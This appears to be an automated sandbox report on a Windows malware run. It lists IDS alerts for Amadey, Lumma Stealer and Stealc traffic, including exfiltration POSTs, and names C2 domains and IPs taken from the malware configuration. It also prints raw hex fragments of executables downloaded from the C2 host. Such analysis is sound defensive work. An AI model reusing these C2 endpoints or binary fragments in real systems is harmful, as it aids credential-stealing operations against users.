Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then cmp dword ptr [ecx+edx*8], B430E561h	7_2_00414F08
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov ecx, edx	7_2_00414F08
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov word ptr [eax], cx	7_2_00420717
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov word ptr [ecx], dx	7_2_00420717
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 2298EE00h	7_2_0043DFB0

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 93MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49753 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49786 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49759
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49805 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058159 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fightlsoser .click) : 192.168.2.4:50837 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49836 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058160 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI) : 192.168.2.4:49843 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2058160 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI) : 192.168.2.4:49849 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49855 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058160 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI) : 192.168.2.4:49862 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2058160 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI) : 192.168.2.4:49869 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2058160 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI) : 192.168.2.4:49878 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49874 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058160 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI) : 192.168.2.4:49887 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2058160 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI) : 192.168.2.4:49898 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49902 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058160 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI) : 192.168.2.4:49915 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49933 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49940 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50018 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49849 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49849 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49887 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49870 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49870 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49888 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49915 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49843 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49843 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49898 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49863 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49863 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.4:49905 -> 116.203.10.31:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 116.203.10.31:443 -> 192.168.2.4:49905
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 116.203.10.31:443 -> 192.168.2.4:49914

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: drive-connect.cyou
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	IPs: 185.215.113.43

Performs DNS queries to domains with low reputation

Source:

DNS query: grahm.xyz

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 13 Dec 2024 00:51:09 GMTContent-Type: application/octet-streamContent-Length: 2660864Last-Modified: Thu, 12 Dec 2024 23:33:40 GMTConnection: keep-aliveETag: "675b72d4-289a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ed d3 a7 12 a9 b2 c9 41 a9 b2 c9 41 a9 b2 c9 41 e2 ca ca 40 a3 b2 c9 41 e2 ca cc 40 27 b2 c9 41 e2 ca cd 40 bd b2 c9 41 b8 34 ca 40 bd b2 c9 41 b8 34 cd 40 bb b2 c9 41 b8 34 cc 40 8f b2 c9 41 e2 ca c8 40 aa b2 c9 41 a9 b2 c8 41 fa b2 c9 41 2a 34 c1 40 a8 b2 c9 41 2a 34 36 41 a8 b2 c9 41 2a 34 cb 40 a8 b2 c9 41 52 69 63 68 a9 b2 c9 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 85 59 56 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 2a 00 b0 24 00 00 f2 03 00 00 00 00 00 c9 01 24 00 00 10 00 00 00 c0 24 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 28 00 00 04 00 00 64 6d 29 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 18 25 00 28 00 00 00 00 40 25 00 25 fb 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 28 00 1c 7f 00 00 80 0d 25 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0c 25 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 24 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 32 af 24 00 00 10 00 00 00 b0 24 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f2 5e 00 00 00 c0 24 00 00 60 00 00 00 b4 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 88 14 00 00 00 20 25 00 00 0a 00 00 00 14 25 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 25 fb 02 00 00 40 25 00 00 fc 02 00 00 1e 25 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 7f 00 00 00 40 28 00 00 80 00 00 00 1a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 13 Dec 2024 00:51:18 GMTContent-Type: application/octet-streamContent-Length: 1994240Last-Modified: Fri, 13 Dec 2024 00:01:44 GMTConnection: keep-aliveETag: "675b7968-1e6e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 21 4a f8 9d 40 24 ab 9d 40 24 ab 9d 40 24 ab 83 12 a0 ab 81 40 24 ab 83 12 b1 ab 89 40 24 ab 83 12 a7 ab c5 40 24 ab ba 86 5f ab 94 40 24 ab 9d 40 25 ab f6 40 24 ab 83 12 ae ab 9c 40 24 ab 83 12 b0 ab 9c 40 24 ab 83 12 b5 ab 9c 40 24 ab 52 69 63 68 9d 40 24 ab 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0c de dd 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 b0 01 00 00 00 00 00 00 a0 87 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 87 00 00 04 00 00 d0 7d 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5a 10 42 00 6e 00 00 00 00 e0 40 00 68 21 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 db 86 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 40 00 00 10 00 00 00 54 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 68 21 01 00 00 e0 40 00 00 94 00 00 00 64 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 42 00 00 02 00 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 20 42 00 00 02 00 00 00 fa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 64 62 70 66 73 62 61 00 50 1b 00 00 40 6c 00 00 4a 1b 00 00 fc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 78 79 78 6c 77 66 61 00 10 00 00 00 90 87 00 00 06 00 00 00 46 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 87 00 00 22 00 00 00 4c 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 13 Dec 2024 00:51:27 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 13 Dec 2024 00:51:39 GMTContent-Type: application/octet-streamContent-Length: 727552Last-Modified: Wed, 11 Dec 2024 08:22:24 GMTConnection: keep-aliveETag: "67594bc0-b1a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 41 4d 01 00 00 10 00 00 00 4e 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 3c 7e 00 00 00 60 01 00 00 80 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c 1c 00 00 00 e0 01 00 00 12 00 00 00 d6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 00 00 00 00 00 02 00 00 02 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 80 13 00 00 00 10 02 00 00 14 00 00 00 ea 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 8e 04 00 00 30 02 00 00 8e 04 00 00 fe 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 8e 04 00 00 c0 06 00 00 8e 04 00 00 8c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 13 Dec 2024 00:51:46 GMTContent-Type: application/octet-streamContent-Length: 393728Last-Modified: Thu, 12 Dec 2024 07:55:00 GMTConnection: keep-aliveETag: "675a96d4-60200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d8 27 f3 e3 9c 46 9d b0 9c 46 9d b0 9c 46 9d b0 82 14 08 b0 85 46 9d b0 82 14 1e b0 e0 46 9d b0 82 14 19 b0 b6 46 9d b0 bb 80 e6 b0 95 46 9d b0 9c 46 9c b0 18 46 9d b0 82 14 17 b0 9d 46 9d b0 82 14 09 b0 9d 46 9d b0 82 14 0c b0 9d 46 9d b0 52 69 63 68 9c 46 9d b0 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0c 66 a7 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 62 05 00 00 04 01 00 00 00 00 00 8f 51 00 00 00 10 00 00 00 80 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 b0 24 00 00 04 00 00 d1 cf 06 00 02 00 00 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 38 67 05 00 64 00 00 00 00 30 06 00 98 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 2d 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 c0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9e 61 05 00 00 10 00 00 00 62 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ab 00 00 00 80 05 00 00 60 00 00 00 66 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 7a 1e 00 00 30 06 00 00 3c 00 00 00 c6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 13 Dec 2024 00:51:52 GMTContent-Type: application/octet-streamContent-Length: 970752Last-Modified: Fri, 13 Dec 2024 00:10:23 GMTConnection: keep-aliveETag: "675b7b6f-ed000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e 